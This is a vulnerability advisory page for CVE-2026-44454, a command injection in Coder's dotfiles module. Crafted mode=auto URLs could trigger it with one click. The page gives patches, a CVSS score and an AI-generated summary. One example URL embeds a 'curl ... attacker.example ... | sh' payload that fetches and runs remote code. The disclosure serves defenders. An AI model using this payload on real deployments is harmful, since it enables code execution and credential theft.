Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.
Reconnecting to live updates…
EPSS 1.4%top 31%

V2: Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent (CVE-2026-44454)

0
High
Published: 07/02/2026 (07/02/2026, 18:14:44 UTC)
Source: GCVE Database
Product: github.com/coder/coder/v2

Description

# Command injection via dotfiles URI parameter combined with workspace auto-creation ## Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. ## Details ### Command injection in the dotfiles module (root cause) The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. ### Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` ## Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. ## Patches ### coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. - https://github.com/coder/registry/pull/703 ### coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector. - Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011)) - Patched releases: - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR) - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline) ### Recognition We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy

CVSS v3.1

Score 8.1high

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Affected software

Goghsa
github.com/coder/coder/v2
Affected versions
<2.29.7
Goghsa
github.com/coder/coder/v2
Affected versions
>=2.30.0 <2.30.2
Goghsa
github.com/coder/coder
Affected versions
<=0.27.3

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/02/2026, 23:16:36 UTC

Technical Analysis

The Coder dotfiles registry module improperly interpolated the user-supplied dotfiles_uri value directly into shell commands without sanitization, enabling command injection via shell expansions such as $(...), command separators, or backticks. This allowed arbitrary code execution within the user's workspace. The Create Workspace page's mode=auto parameter combined with param.* URL parameters enabled an attacker to craft a URL that silently provisions a workspace with malicious dotfiles_uri, requiring only that an authenticated user click the link. The primary fix involved input validation rejecting special characters and removing unsafe shell evaluation in the dotfiles module. Additionally, a consent dialog was introduced in the Coder product to prevent automatic workspace creation without explicit user confirmation, mitigating the one-click attack vector.

Potential Impact

Successful exploitation results in arbitrary code execution within the victim's workspace. Depending on workspace privileges, this can lead to exposure of Git credentials, secrets, and workspace files, and potentially allow lateral movement within the environment. The mode=auto parameter reduces exploitation complexity to a single click by an authenticated user, increasing the risk of attack.

Mitigation Recommendations

Official patches are available. The dotfiles module was updated to validate input and remove unsafe shell command execution, eliminating the root cause of command injection. The Coder product added a consent dialog requiring explicit user confirmation before workspace creation, removing the mode=auto automatic creation vector. Users should upgrade to patched releases: v2.29.7 (ESR) or v2.30.2 (mainline) or later. Patch status is confirmed by vendor advisories and GitHub commits linked in the advisory.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-m3cr-vc2j-pm27
Osv Schema Version
1.4.0
Aliases
["CVE-2026-44454"]
Ecosystems
["Go"]
Database Specific Severity
HIGH
Cvss Version
3.1

Threat ID: 6a46ecc227e9c7971943d40b

Added to database: 07/02/2026, 22:57:06 UTC

Last enriched: 07/02/2026, 23:16:36 UTC

Last updated: 07/31/2026, 19:22:59 UTC

Views: 59

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses